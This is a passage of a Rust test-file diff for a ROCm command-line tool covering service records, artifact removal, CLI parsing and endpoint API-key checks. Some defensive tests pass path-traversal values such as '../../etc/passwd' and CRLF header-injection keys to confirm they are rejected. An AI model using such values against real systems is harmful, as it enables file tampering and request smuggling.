filtered: only the live server is listed. + assert!(rendered.contains("- svc-live"), "{rendered}"); + assert!(!rendered.contains("- svc-failed-newest"), "{rendered}"); assert!( - message.contains("recipe hint, tool-call parser, or generation defaults"), - "message should not single out generation defaults as the sole cause: {message}" + rendered + .contains("Past attempts: 2 local server record(s) that are no longer running."), + "{rendered}" + ); + assert!( + rendered.contains(" See them: rocm services list --all"), + "{rendered}" + ); + assert!( + rendered.contains(" Read the newest: rocm services logs svc-failed-newest"), + "{rendered}" ); Ok(()) } #[test] - fn spawn_managed_engine_child_refuses_to_reuse_an_unauthenticated_service() -> Result<()> { - // `--require-api-key` used to be accepted and dropped on this path. The - // reuse branch returns before the flag is recorded and before the - // endpoint key is checked, so a caller demanding auth got a server that - // never had it, with no error. `rocm remote serve` then published that - // endpoint onto the tailnet and printed a freshly minted key under "the - // API key above is what stops anyone else calling it" — a false - // assurance about an endpoint the whole tailnet can reach. - // - // Asserted through `spawn_managed_engine_child` rather than against the - // guard's own arguments: the defect was the early return, so only the - // real call site can fail for it. - let (root, paths) = test_paths("dup-managed-unauthenticated-reuse"); + fn services_json_round_trips_and_applies_the_same_liveness_filter_as_the_table() -> Result<()> { + // This JSON is a contract, not a convenience: `rocm remote` parses it + // back over its control channel to learn which service a remote serve + // just started. Two things have to hold — every record survives the + // round trip, and `--json` agrees with the table about what is live. If + // they disagreed, the remote orchestration would act on a different set + // of services than the operator sees. + let (root, paths) = test_paths("services-json"); paths.ensure()?; - let mut existing = ManagedServiceRecord::new( - &paths, - "lemonade-qwen-3000", - "lemonade", - "qwen", - "qwen-canonical", - "127.0.0.1", - 11520, - "managed", - std::process::id(), - None, - None, - None, - ); - existing.status = "ready".to_owned(); - existing.engine_pid = Some(std::process::id()); - // The state that matters: live, matching, and serving without auth. - existing.requires_api_key = false; - existing.write()?; - - let resolve = ResolveModelResponse { - canonical_model_id: "qwen-canonical".to_owned(), - task: "chat".to_owned(), - source: "hf".to_owned(), - revision: "main".to_owned(), - loader: "llama.cpp".to_owned(), - trust_remote_code: false, - chat_template_mode: "auto".to_owned(), - dtype: "auto".to_owned(), - device_policy: DevicePolicy::GpuPreferred, - estimated_memory: "unknown".to_owned(), - launch_defaults: serde_json::json!({}), - engine_recipe: None, - warnings: Vec::new(), - }; + let current_pid = std::process::id(); + for (service_id, status, port) in [ + ("svc-live", "starting", 11440_u16), + ("svc-past", "failed", 11441_u16), + ] { + let mut record = ManagedServiceRecord::new( + &paths, + service_id, + "vllm", + "qwen", + "Qwen/Qwen3.5", + "127.0.0.1", + port, + "managed", + current_pid, + Some("therock-release".to_owned()), + None, + Some("gpu_required".to_owned()), + ); + record.status = status.to_owned(); + record.write()?; + } - let result = spawn_managed_engine_child( - &paths, - "lemonade", - "lemonade-qwen-3001", - "qwen", - &resolve, - "127.0.0.1", - 11520, - &resolve.device_policy, - &[], - None, - None, - None, - // The demand that used to be silently discarded. - true, - ); + let live = render_services_json(&paths, false)?; + let every = render_services_json(&paths, true)?; let _ = fs::remove_dir_all(root); - let Err(error) = result else { - panic!( - "reusing an unauthenticated service must not satisfy `--require-api-key`; a \ - satisfied reuse leaves the endpoint open while the caller is told it is not" - ) - }; - let message = error.to_string(); - assert!( - message.contains("without authentication"), - "the refusal must say why it refused: {message}" - ); - assert!( - message.contains("rocm services stop lemonade-qwen-3000"), - "the refusal must name the way out, with the service to stop: {message}" + let live: Vec = serde_json::from_str(&live)?; + let every: Vec = serde_json::from_str(&every)?; + + assert_eq!( + live.iter() + .map(|r| r.service_id.as_str()) + .collect::>(), + vec!["svc-live"], + "the default listing must hide past attempts, exactly as the table does" ); + let mut every_ids = every + .iter() + .map(|r| r.service_id.as_str()) + .collect::>(); + every_ids.sort_unstable(); + assert_eq!(every_ids, vec!["svc-live", "svc-past"]); + + // The fields remote orchestration actually reads must survive intact. + let record = &live[0]; + assert_eq!(record.port, 11440); + assert_eq!(record.status, "starting"); + // Note for remote orchestration: the recorded endpoint is already the + // OpenAI-compatible base, `/v1` suffix included — not a bare origin. + assert_eq!(record.endpoint_url, "http://127.0.0.1:11440/v1"); + assert_eq!(record.canonical_model_id, "Qwen/Qwen3.5"); Ok(()) } #[test] - fn a_managed_spawn_refuses_an_invalid_key_file_on_a_service_that_requires_one() -> Result<()> { - // Drives the real call site, not the guard's own arguments. The service - // was launched with `--require-api-key`, and its key file is present but - // empty — so `requires_api_key` is true while `key_present` is false, - // which is the only way to reach the first branch. A test calling - // `ensure_public_service_has_endpoint_key` directly cannot catch a - // mis-wired call site, which is the defect that has occurred here twice. - // - // The flag is passed explicitly rather than inferred from the key file. - // Inferring it marked every public bind as having demanded auth, because - // a public bind always has a key file whether or not it asked for one. - let (root, paths) = test_paths("managed-spawn-invalid-key"); + fn service_records_tolerate_unknown_fields_but_not_missing_required_ones() -> Result<()> { + // A remote may run a different CLI version than the machine driving it. + // Newer fields it emits must not break an older parser, or a version skew + // turns every remote command into a parse error; a genuinely absent + // required field must still fail, and name itself when it does. + // Built from a real record rather than hand-written JSON, so the fixture + // cannot drift out of step with the struct and quietly stop testing the + // thing it claims to. + let (root, paths) = test_paths("services-json-contract"); paths.ensure()?; - fs::create_dir_all(paths.services_dir())?; - - // Empty, so the file exists (requires_api_key = true) but yields no - // usable key (key_present = false). - endpoint_keys::store_endpoint_api_key(&paths, "lemonade-qwen-3000", "")?; - - let resolve = ResolveModelResponse { - canonical_model_id: "qwen-canonical".to_owned(), - task: "chat".to_owned(), - source: "hf".to_owned(), - revision: "main".to_owned(), - loader: "llama.cpp".to_owned(), - trust_remote_code: false, - chat_template_mode: "auto".to_owned(), - dtype: "auto".to_owned(), - device_policy: DevicePolicy::GpuPreferred, - estimated_memory: "unknown".to_owned(), - launch_defaults: serde_json::json!({}), - engine_recipe: None, - warnings: Vec::new(), - }; - - let result = spawn_managed_engine_child( + let record = ManagedServiceRecord::new( &paths, - "lemonade", - "lemonade-qwen-3000", + "svc-a", + "vllm", "qwen", - &resolve, - // Loopback on purpose: the public-bind branch must not be what - // refuses this, or the test would pass with the guard disabled. - "127.0.0.1", - 11512, - &resolve.device_policy, - &[], + "Qwen/Qwen3.5", + "127.0.0.1", + 11440, + "managed", + 4242, None, None, None, - true, ); + let mut value = serde_json::to_value(&record)?; let _ = fs::remove_dir_all(root); + let fields = value + .as_object_mut() + .expect("a service record serializes as a JSON object"); - let Err(error) = result else { - panic!("a service requiring a key must not spawn with an unusable key file") - }; - let message = error.to_string(); - assert!( - message.contains("--require-api-key"), - "the refusal must name the flag the service was launched with: {message}" + fields.insert( + "a_field_from_a_newer_release".to_owned(), + serde_json::Value::Bool(true), ); + let parsed: ManagedServiceRecord = serde_json::from_value(value.clone()) + .context("a newer remote's extra fields must not break an older parser")?; + assert_eq!(parsed.service_id, "svc-a"); + assert_eq!(parsed.port, 11440); + + value + .as_object_mut() + .expect("still an object") + .remove("port") + .expect("port was present before removal"); + let error = serde_json::from_value::(value) + .expect_err("a missing required field must be rejected, not defaulted") + .to_string(); assert!( - message.contains("without authentication"), - "the refusal must say what the risk is: {message}" + error.contains("port"), + "the error should name the missing field, got: {error}" ); Ok(()) } #[test] - fn services_tool_result_text_includes_running_interpretation() { - let (_root, paths) = test_paths("services-tool-text"); + fn render_services_text_demotes_stale_ready_record() -> Result<()> { + let (root, paths) = test_paths("services-stale-ready"); + paths.ensure()?; let mut record = ManagedServiceRecord::new( &paths, - "svc-vllm", - "vllm", - "Qwen/Qwen3.5", - "Qwen/Qwen3.5", + "svc-stale-ready", + "lemonade", + "qwen", + providers::BUILTIN_ASSISTANT_MODEL_ID, "127.0.0.1", - 11435, + 9, "managed", - std::process::id(), + 999_999_999, Some("therock-release".to_owned()), None, Some("gpu_required".to_owned()), ); record.status = "ready".to_owned(); + record.engine_pid = Some(999_999_999); + record.write()?; - let rendered = render_services_tool_result_text(&[record]); - - assert!(rendered.contains("status_meaning: ready/running = running")); - assert!(rendered.contains("engine=vllm")); - assert!(rendered.contains("running_state=running")); - } - - #[test] - fn service_actions_require_yes_and_render_sandbox_result() { - let (_root, paths) = test_paths("services-action-approval"); - let error = run_approved_service_action(&paths, "stop_server", "svc-qwen", false) - .unwrap_err() - .to_string(); - assert!(error.contains("requires --yes")); - assert!(error.contains("rocm services stop svc-qwen --yes")); - - let rendered = render_service_action_result( - "stop_server", - &serde_json::json!({ - "output": { - "status": "stopped", - "result": { - "service": { - "service_id": "svc-qwen", - "status": "stopped", - "endpoint_url": "http://127.0.0.1:11435/v1" - }, - "signaled_pids": [1234, 5678] - } - } - }), - ); - - assert!(rendered.contains("Local server stopped")); - assert!(rendered.contains("service: svc-qwen")); - assert!(rendered.contains("status: stopped")); - assert!(rendered.contains("stopped processes: 2")); - } - - #[test] - fn services_is_structured_not_freeform() { - let invocation = parse_freeform_invocation(&["services".to_owned()]); - assert!(!should_treat_as_freeform(&invocation)); - Cli::try_parse_from(["rocm", "services"]).expect("services should be a real command"); - Cli::try_parse_from(["rocm", "services", "list"]) - .expect("services list should be a real command"); - Cli::try_parse_from(["rocm", "services", "logs", "svc-qwen"]) - .expect("services logs should be a real command"); - Cli::try_parse_from(["rocm", "services", "stop", "svc-qwen", "--yes"]) - .expect("services stop should accept --yes"); - Cli::try_parse_from(["rocm", "services", "restart", "svc-qwen", "--yes"]) - .expect("services restart should accept --yes"); - } - - #[test] - fn update_dry_run_does_not_require_apply() { - Cli::try_parse_from(["rocm", "update", "--dry-run"]) - .expect("update --dry-run should parse without --apply"); - Cli::try_parse_from(["rocm", "update", "--apply", "--dry-run"]) - .expect("update --apply --dry-run should still parse"); - Cli::try_parse_from(["rocm", "update", "--dry-run", "--runtime", "rocm-6.2"]) - .expect("update --dry-run --runtime should parse without --apply"); - Cli::try_parse_from(["rocm", "update", "--dry-run", "--activate"]) - .expect("update --dry-run --activate should parse without --apply"); - } - - #[test] - fn update_dry_run_conflicts_with_json() { - Cli::try_parse_from(["rocm", "update", "--dry-run", "--json"]).expect_err( - "update --dry-run --json should be rejected instead of silently dropping --json", - ); - } - - // This only pins the free predicate's truth table. The actual dispatch - // wiring — that `rocm update --dry-run` really does reach the preview - // path without requiring --apply — is covered by e2e scenario - // `update-dry-run-reaches-preview-path-without-apply` - // (tests/e2e-cucumber/features/update.feature). - #[test] - fn update_should_preview_or_apply_includes_dry_run() { - assert!( - !update_should_preview_or_apply(false, false), - "plain `rocm update` should stay on the read-only status report" - ); - assert!( - update_should_preview_or_apply(false, true), - "the predicate must say dry-run alone should preview" - ); - assert!(update_should_preview_or_apply(true, false)); - assert!(update_should_preview_or_apply(true, true)); - } - - #[test] - fn remote_is_structured_not_freeform() { - // `rocm remote …` reads like a plain-English request, so without an - // entry in the structured allowlist the natural-language planner - // swallows it and the real command becomes unreachable. This guards the - // allowlist against losing `remote`. - let invocation = parse_freeform_invocation(&[ - "remote".to_owned(), - "targets".to_owned(), - "--tag".to_owned(), - "gpu".to_owned(), - ]); - assert!(!treat_as_natural_language(&invocation.request_args)); - assert!(!should_treat_as_freeform(&invocation)); - - Cli::try_parse_from(["rocm", "remote", "targets"]) - .expect("remote targets should be a real command"); - Cli::try_parse_from(["rocm", "remote", "targets", "--tag", "gpu"]) - .expect("remote targets should accept a tag filter"); - // The group has no useful default action, so a bare `rocm remote` must - // show help rather than silently doing something. - Cli::try_parse_from(["rocm", "remote"]) - .expect_err("bare `rocm remote` should require a subcommand"); - } + let rendered = render_services_text(&paths, false)?; + let all = render_services_text(&paths, true)?; + let reloaded = load_managed_service(&paths, "svc-stale-ready")?; + let _ = fs::remove_dir_all(root); - #[test] - fn install_sdk_accepts_family_override() { - Cli::try_parse_from([ - "rocm", - "install", - "sdk", - "--channel", - "release", - "--format", - "wheel", - "--prefix", - "D:\\ROCm\\therock_venvs", - "--family", - "gfx110X-all", - ]) - .expect("install sdk should accept a TheRock family override"); + assert!(rendered.contains("No local servers are running.")); + // The transition this test is named for reaches the header too: once the + // record is demoted it is a past attempt, so the header says so instead + // of the old "none ready" - which described the live set correctly and + // the disk misleadingly. + assert!(rendered.contains("Status: 1 not running"), "{rendered}"); + assert!(all.contains("- svc-stale-ready")); + assert!(all.contains(" status: stopped")); + assert_eq!(reloaded.status, "stopped"); + Ok(()) } - #[test] - fn install_sdk_devel_flag_defaults_off_and_wires_through_when_passed() { - let cli = Cli::try_parse_from(["rocm", "install", "sdk"]) - .expect("install sdk should parse with no flags"); - match cli.command { - Some(Command::Install { - target: InstallTarget::Sdk { devel, .. }, - }) => assert!(!devel, "--devel should default to false"), - other => panic!("expected an install sdk target, got {other:?}"), - } - - let cli = Cli::try_parse_from(["rocm", "install", "sdk", "--devel"]) - .expect("install sdk should accept --devel"); - match cli.command { - Some(Command::Install { - target: InstallTarget::Sdk { devel, .. }, - }) => assert!(devel, "--devel should set the flag to true"), - other => panic!("expected an install sdk target, got {other:?}"), - } + /// Plant a managed-service record plus every artifact it owns: the log and + /// endpoint key beside the manifest in `services_dir`, and the engine state + /// file under `/engines//state/`. + fn plant_service_record( + paths: &AppPaths, + service_id: &str, + status: &str, + supervisor_pid: u32, + ) -> Result { + let record = + plant_service_record_without_its_key(paths, service_id, status, supervisor_pid)?; + endpoint_keys::store_endpoint_api_key(paths, service_id, "test-key")?; + Ok(record) } - /// The half the parse test above cannot reach: that the parsed flag is what - /// the install request carries. + /// Everything [`plant_service_record`] writes *except* the 0600 endpoint + /// key: the manifest, the log, and the engine state file. /// - /// `install()` is not callable here — it needs `uv`, a live index and a real - /// probe — so the mapping is extracted into `sdk_install_request` and pinned - /// directly. Hardcoding `include_devel` at that mapping is the change this - /// catches and the clap test does not. - #[test] - fn install_sdk_request_forwards_the_parsed_devel_flag() { - for devel in [false, true] { - let request = sdk_install_request( - "release", - "wheel", - None, - None, - None, - false, - devel, - therock::SdkInstallConsent::Ask, - ); - assert_eq!( - request.include_devel, devel, - "the parsed --devel flag must reach the install request" - ); - } - - // And the flag must not be confused with the neighbouring bool. - let dry_run_only = sdk_install_request( - "release", - "wheel", - None, + /// Split out for the launch-lock test below, which writes the key itself — + /// as `serve` does, before the record — and then has to publish the record + /// without touching the key again. Planting the key a second time there + /// would re-create whatever `prune` had already deleted, turning that test's + /// key assertions into assertions about this helper: they would hold whether + /// or not the sweep had swept. + fn plant_service_record_without_its_key( + paths: &AppPaths, + service_id: &str, + status: &str, + supervisor_pid: u32, + ) -> Result { + let mut record = ManagedServiceRecord::new( + paths, + service_id, + "vllm", + "qwen", + "Qwen/Qwen3.5", + "127.0.0.1", + 9, + "managed", + supervisor_pid, None, None, - true, - false, - therock::SdkInstallConsent::Ask, + Some("gpu_required".to_owned()), ); - assert!(dry_run_only.dry_run); - assert!(!dry_run_only.include_devel); - } - - /// End to end across the two seams a `rocm install sdk --devel` traverses: - /// clap parse, then the request mapping. Neither alone proves the flag - /// survives the trip. - #[test] - fn parsed_install_sdk_arguments_reach_the_request_with_devel_intact() { - for (args, expected) in [ - (vec!["rocm", "install", "sdk"], false), - (vec!["rocm", "install", "sdk", "--devel"], true), - ] { - let cli = Cli::try_parse_from(&args).expect("install sdk should parse"); - let Some(Command::Install { - target: InstallTarget::Sdk { devel, .. }, - }) = cli.command - else { - panic!("expected an install sdk target for {args:?}"); - }; - let request = sdk_install_request( - "release", - "wheel", - None, - None, - None, - false, - devel, - therock::SdkInstallConsent::Ask, - ); - assert_eq!( - request.include_devel, expected, - "--devel did not survive parse -> request for {args:?}" - ); - } + status.clone_into(&mut record.status); + record.write()?; + fs::write(&record.log_path, "engine output\n")?; + fs::create_dir_all( + record + .engine_state_path + .parent() + .context("engine state path has a parent")?, + )?; + // Mirror the planted status: `refresh_from_engine_state` adopts whatever + // this file says, so a mismatched value would silently demote the record + // before the code under test ever sees it. + fs::write( + &record.engine_state_path, + serde_json::to_vec(&serde_json::json!({ "status": status }))?, + )?; + Ok(record) } #[test] - fn top_level_cli_commands_are_not_treated_as_freeform() { - for command in [ - "examine", - "bootstrap", - "version", - "setup", - "chat", - "install", - "update", - "runtimes", - "storage", - "engines", - "model", - "models", - "serve", - "comfyui", - "comfy", - "services", - "automations", - "config", - "logs", - "daemon", - "dash", - "bench", - "uninstall", - "completions", - "help", - ] { - let invocation = parse_freeform_invocation(&[command.to_owned()]); - assert!( - !should_treat_as_freeform(&invocation), - "{command} should parse as a structured CLI command, not natural language" - ); - } - Cli::try_parse_from(["rocm", "setup"]).expect("setup should parse"); - Cli::try_parse_from(["rocm", "bootstrap"]).expect("bootstrap setup should parse"); - Cli::try_parse_from(["rocm", "setup", "status"]).expect("setup status should parse"); - Cli::try_parse_from(["rocm", "setup", "reset"]).expect("setup reset should parse"); - Cli::try_parse_from(["rocm", "models"]).expect("models alias should parse"); - Cli::try_parse_from(["rocm", "comfyui", "status"]).expect("comfyui status should parse"); - Cli::try_parse_from(["rocm", "comfyui", "logs", "--lines", "3"]) - .expect("comfyui logs should parse"); - Cli::try_parse_from(["rocm", "comfyui", "stop"]).expect("comfyui stop should parse"); - Cli::try_parse_from(["rocm", "comfy", "logs"]).expect("comfy alias should parse"); - } + fn services_remove_deletes_every_artifact_and_leaves_the_shared_lock() -> Result<()> { + let (root, paths) = test_paths("services-remove-artifacts"); + paths.ensure()?; + let record = plant_service_record(&paths, "svc-remove-me", "failed", 999_999_999)?; + // `launch.lock` lives in `services_dir` but belongs to every managed + // launch, not to one service. Removing a record must not touch it. + let lock = paths.managed_launch_lock_path(); + fs::write(&lock, "")?; - #[test] - fn t5_bench_load_clap_parse_smoke() { - // T5: verify BenchCommand::Load parses correctly including comma-separated concurrency. - let cli = Cli::try_parse_from([ - "rocm", - "bench", - "load", - "--endpoint", - "http://x", - "--concurrency", - "1,8,32,64", - ]) - .expect("rocm bench load should parse"); - match cli.command { - Some(Command::Bench { - command: BenchCommand::Load { concurrency, .. }, - }) => { - assert_eq!(concurrency, vec![1u32, 8, 32, 64]); + let rendered = remove_managed_service_record(&paths, "svc-remove-me", true); + let rendered = match rendered { + Ok(text) => text, + Err(error) => { + let _ = fs::remove_dir_all(&root); + return Err(error); } - other => panic!("expected Bench/Load, got {other:?}"), - } - } - - #[test] - fn setup_reset_cli_output_is_plain_and_persists_first_time_prompt() -> Result<()> { - let (_root, paths) = test_paths("setup-reset-cli"); - let mut config = RocmCliConfig { - onboarding_dismissed: true, - setup: rocm_core::SetupConfig { - completed: true, - therock_venv: Some(paths.data_dir.join("envs").join("default")), - cli_install_dir: None, - }, - ..Default::default() - }; - config.provider_config_mut("openai").enabled = true; - config.save(&paths)?; - - let rendered = reset_setup_prompt_state(&paths, &mut config)?; - - // The claim itself (onboarding only opens via an explicit `n` on the - // Observe tab, never automatically) is proven by - // `crates/rocm-dash-tui/src/app/event_loop.rs`'s - // `startup_focus_gate_only_opens_onboarding_for_explicit_setup_focus` - // test and the `onboarding.rs` module doc — this assertion only - // guards the string, not the behavior. - assert!(rendered.contains("Onboarding will not reopen automatically")); - assert!(rendered.contains("ROCm installs were not deleted")); - assert!(rendered.contains("API keys")); - assert!(!rendered.contains("request plan")); - assert!(!rendered.contains("planner:")); - assert!(!rendered.contains("tool_schema")); - - let saved = RocmCliConfig::load(&paths)?; - assert!(!saved.onboarding_dismissed); - assert!(!saved.setup.completed); - assert!(saved.setup.therock_venv.is_some()); - assert!(saved.provider_enabled("openai")); - Ok(()) - } - - #[test] - fn setup_status_reports_completed_active_runtime() -> Result<()> { - let (root, paths) = test_paths("setup-status-completed-runtime"); - let manifest = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-status", - "therock-release:gfx120X-all", - "7.13.0", - 1, - )?; - let config = RocmCliConfig { - default_runtime_id: Some(manifest.runtime_id.clone()), - active_runtime_key: Some(manifest.runtime_key.clone()), - setup: rocm_core::SetupConfig { - completed: true, - therock_venv: Some(manifest.install_root.clone()), - cli_install_dir: None, - }, - ..Default::default() }; + let manifest_exists = record.manifest_path.exists(); + let log_exists = record.log_path.exists(); + let engine_state_exists = record.engine_state_path.exists(); + let key_exists = endpoint_keys::endpoint_key_file_path(&paths, "svc-remove-me").exists(); + let lock_exists = lock.exists(); + let _ = fs::remove_dir_all(&root); - let rendered = render_setup_status_text(&paths, &config)?; - - assert!(rendered.contains("status: completed"), "{rendered}"); - assert!( - rendered.contains(&format!( - "install folder: {}", - manifest.install_root.display() - )), - "{rendered}" - ); - assert!( - rendered.contains("active_runtime_key: release-pip-gfx120x-all-status"), - "{rendered}" - ); + assert!(!manifest_exists, "the details file must be deleted"); + assert!(!log_exists, "the log must be deleted"); assert!( - rendered.contains("active_runtime_id: therock-release:gfx120X-all"), - "{rendered}" + !engine_state_exists, + "the engine state file must be deleted — it lives outside the services folder, \ + so deleting only the two files beside the manifest is what orphans it" ); + assert!(!key_exists, "the endpoint key file must be deleted"); + assert!(lock_exists, "the shared launch lock must be left alone"); + assert!(rendered.contains("Local server record removed")); + assert!(rendered.contains(" files removed: 4")); + // The log path is the last thing worth knowing before it disappears. assert!( - rendered.contains("active_runtime_status: ready"), - "{rendered}" + rendered.contains(&format!(" log: {}", record.log_path.display())), + "the log path must be printed before the delete:\n{rendered}" ); - assert!(rendered.contains("rocm help"), "{rendered}"); - - let _ = fs::remove_dir_all(root); Ok(()) } #[test] - fn setup_status_reports_first_time_when_not_completed() -> Result<()> { - let (_root, paths) = test_paths("setup-status-first-time"); - let config = RocmCliConfig::default(); - - let rendered = render_setup_status_text(&paths, &config)?; + fn services_remove_refuses_a_running_record_and_names_stop() -> Result<()> { + let (root, paths) = test_paths("services-remove-live"); + paths.ensure()?; + // The current process is a guaranteed-live PID, so the liveness refresh + // keeps this record in a running state. + plant_service_record(&paths, "svc-live", "ready", std::process::id())?; - // See the pointer comment in - // `setup_reset_cli_output_is_plain_and_persists_first_time_prompt` - // above: this only guards the string, not the underlying behavior. - assert!(rendered.contains("status: first-time setup available — open manually")); - assert!(rendered.contains("active_runtime_status: ")); - Ok(()) - } + let error = remove_managed_service_record(&paths, "svc-live", true) + .expect_err("removing a running local server must fail"); + let manifest_exists = paths.service_manifest_path("svc-live").exists(); + let _ = fs::remove_dir_all(&root); - #[test] - fn serve_bind_validation_requires_public_ack() { - validate_bind_host("127.0.0.1", false).unwrap(); - validate_bind_host("localhost", false).unwrap(); - validate_bind_host("::1", false).unwrap(); - let error = validate_bind_host("0.0.0.0", false).unwrap_err(); + let message = error.to_string(); assert!( - error.to_string().contains("--allow-public-bind"), - "{error:#}" + message.contains("cannot be removed while it is running"), + "unexpected error: {message}" ); - validate_bind_host("0.0.0.0", true).unwrap(); - } - - #[test] - fn resolve_endpoint_auth_loopback_stays_credential_free() { - // Loopback binds never require auth, even if a key is supplied. - for host in ["127.0.0.1", "localhost", "::1"] { - assert_eq!(resolve_endpoint_auth(host, None, false).unwrap(), None); - assert_eq!( - resolve_endpoint_auth(host, Some("ignored"), false).unwrap(), - None - ); - } + assert!( + message.contains("rocm services stop svc-live --yes"), + "the error must name the stop command: {message}" + ); + assert!(manifest_exists, "a refused removal must delete nothing"); + Ok(()) } + /// A manifest still saying `ready` for a process that is gone is the common + /// case this command exists for. `load_managed_services` demotes it to + /// `stopped` while reading, so the live guard has to run on the refreshed + /// record — checking the status as it sits on disk would refuse forever. #[test] - fn resolve_endpoint_auth_loopback_can_be_required_when_something_republishes_it() { - // "Loopback" describes the bind address, not who can reach the port. A - // tailnet publish, a proxy, or a container port map all leave the bind - // loopback while widening the audience, and the default policy would - // hand out an unauthenticated endpoint. Whoever widens the reach asks - // for the credential explicitly. - for host in ["127.0.0.1", "localhost", "::1"] { - let generated = resolve_endpoint_auth(host, None, true) - .unwrap() - .expect("a required key must be generated, not skipped"); - assert!(!generated.trim().is_empty()); - - assert_eq!( - resolve_endpoint_auth(host, Some("supplied-key"), true).unwrap(), - Some("supplied-key".to_owned()), - "a supplied key must be honoured rather than ignored as it is by default" - ); - } + fn services_remove_accepts_a_stale_ready_record_that_refreshed_to_stopped() -> Result<()> { + let (root, paths) = test_paths("services-remove-stale-ready"); + paths.ensure()?; + let record = plant_service_record(&paths, "svc-stale", "ready", 999_999_999)?; + assert_eq!( + serde_json::from_slice::(&fs::read(&record.manifest_path)?)? + .status, + "ready", + "premise: the manifest on disk still claims `ready`" + ); - // The same validation a public bind gets: an empty key is a refusal, not - // a silent downgrade to no auth. - assert!(resolve_endpoint_auth("127.0.0.1", Some(" "), true).is_err()); - } + let result = remove_managed_service_record(&paths, "svc-stale", true); + let manifest_exists = record.manifest_path.exists(); + let _ = fs::remove_dir_all(&root); - #[test] - fn resolve_endpoint_auth_public_uses_supplied_key_trimmed() { - let key = resolve_endpoint_auth("0.0.0.0", Some(" my-key "), false) - .unwrap() - .expect("public bind must have a key"); - assert_eq!(key, "my-key"); + result?; + assert!(!manifest_exists, "the stale record must be removable"); + Ok(()) } #[test] - fn resolve_endpoint_auth_public_generates_key_when_absent() { - let key = resolve_endpoint_auth("0.0.0.0", None, false) - .unwrap() - .expect("public bind must generate a key"); - assert_eq!(key.len(), 48); - assert!(key.chars().all(|c| c.is_ascii_alphanumeric())); - } + fn services_remove_requires_yes() -> Result<()> { + let (root, paths) = test_paths("services-remove-yes"); + paths.ensure()?; + plant_service_record(&paths, "svc-needs-yes", "failed", 999_999_999)?; - #[test] - fn resolve_endpoint_auth_public_rejects_empty_supplied_key() { - let error = resolve_endpoint_auth("0.0.0.0", Some(" "), false).unwrap_err(); - assert!(error.to_string().contains("non-empty"), "{error:#}"); - } + let error = remove_managed_service_record(&paths, "svc-needs-yes", false) + .expect_err("removal without --yes must fail"); + let manifest_exists = paths.service_manifest_path("svc-needs-yes").exists(); + let _ = fs::remove_dir_all(&root); - #[test] - fn resolve_endpoint_auth_public_rejects_embedded_crlf() { - // A supplied key survives `trim()` with embedded CR/LF intact and would - // otherwise be interpolated into a raw `Authorization: Bearer` header, - // injecting an extra header line. It must be rejected at input validation. - for supplied in [ - "good-key\r\nX-Injected: value", - "good-key\nmore", - "line\rreturn", - ] { - let error = resolve_endpoint_auth("0.0.0.0", Some(supplied), false).unwrap_err(); - assert!(error.to_string().contains("control character"), "{error:#}"); - } + let message = error.to_string(); + assert!(message.contains("requires --yes"), "unexpected: {message}"); + assert!( + message.contains("rocm services remove svc-needs-yes --yes"), + "unexpected: {message}" + ); + assert!(manifest_exists, "a refused removal must delete nothing"); + Ok(()) } #[test] - fn drop_orphaned_endpoint_key_on_already_running_clears_stored_key() { - let (root, paths) = test_paths("drop-orphaned-key-stored"); - let service_id = "svc-orphaned"; - endpoint_keys::store_endpoint_api_key(&paths, service_id, "secret-key").unwrap(); + fn service_record_artifacts_reject_an_engine_that_escapes_the_state_dir() -> Result<()> { + let (root, paths) = test_paths("services-remove-traversal"); + paths.ensure()?; - drop_orphaned_endpoint_key_on_already_running(&paths, service_id, Some("secret-key")); + let by_engine = service_record_artifacts(&paths, "svc-ok", "../../../etc"); + let by_id = service_record_artifacts(&paths, "../../etc/passwd", "vllm"); + let _ = fs::remove_dir_all(&root); - assert_eq!(endpoint_keys::endpoint_api_key(&paths, service_id), None); - assert!(!endpoint_keys::endpoint_key_file_path(&paths, service_id).exists()); - let _ = fs::remove_dir_all(root); + assert!( + by_engine.is_err(), + "an engine name with `..` must not reach a path this code deletes" + ); + assert!(by_id.is_err(), "a traversing service id must be rejected"); + Ok(()) } #[test] - fn drop_orphaned_endpoint_key_on_already_running_is_noop_for_loopback() { - // A loopback attempt never stores a key (`freshly_stored == None`), so the - // helper must not panic or error, and no file must appear. - let (root, paths) = test_paths("drop-orphaned-key-loopback"); - let service_id = "svc-loopback"; - - drop_orphaned_endpoint_key_on_already_running(&paths, service_id, None); - - assert_eq!(endpoint_keys::endpoint_api_key(&paths, service_id), None); - assert!(!endpoint_keys::endpoint_key_file_path(&paths, service_id).exists()); - let _ = fs::remove_dir_all(root); - } + fn services_prune_skips_running_records_and_reports_the_count() -> Result<()> { + let (root, paths) = test_paths("services-prune-live"); + paths.ensure()?; + plant_service_record(&paths, "svc-dead", "failed", 999_999_999)?; + plant_service_record(&paths, "svc-running", "ready", std::process::id())?; - #[test] - fn public_bind_fails_closed_for_windows_lemonade_only() { - // Windows + Lemonade + public bind: refuse (cannot enforce the key). - let error = ensure_public_bind_engine_supported("lemonade", true, true).unwrap_err(); - assert!(error.to_string().contains("lemonade"), "{error:#}"); - // Every other combination is allowed: - ensure_public_bind_engine_supported("vllm", true, true).unwrap(); // vLLM enforces auth on Windows - ensure_public_bind_engine_supported("lemonade", true, false).unwrap(); // non-Windows - ensure_public_bind_engine_supported("lemonade", false, true).unwrap(); // loopback needs no key - } + let outcome = prune_managed_service_records(&paths, 0, false, true); + let outcome = match outcome { + Ok(outcome) => outcome, + Err(error) => { + let _ = fs::remove_dir_all(&root); + return Err(error); + } + }; + let dead_exists = paths.service_manifest_path("svc-dead").exists(); + let running_exists = paths.service_manifest_path("svc-running").exists(); + let _ = fs::remove_dir_all(&root); - #[test] - fn a_public_bind_is_refused_with_the_command_that_restores_it() { - // `resolve_endpoint_auth` mints a key for every non-loopback bind whether - // or not auth was demanded, so deriving `requires_api_key` from key-file - // presence marked ordinary public binds as having asked for it. The guard - // tests that field first, so those services were refused with a message - // naming a flag they never passed and a relaunch command that drops - // `--allow-public-bind` — coming back on loopback instead. - // - // A plain `--host 0.0.0.0 --allow-public-bind` launch: key file present, - // `--require-api-key` never passed. - let error = ensure_public_service_has_endpoint_key("0.0.0.0", false, false) - .expect_err("a public bind with no key must be refused"); - let rendered = format!("{error:#}"); - assert!( - rendered.contains("--allow-public-bind"), - "the refusal must name the command that restores the public bind: {rendered}" - ); + assert!(!dead_exists, "the stopped record must be pruned"); + assert!(running_exists, "a running record must be left alone"); + assert_eq!(outcome.removed_records, 1); + assert_eq!(outcome.skipped_live, 1); assert!( - !rendered.contains("--require-api-key"), 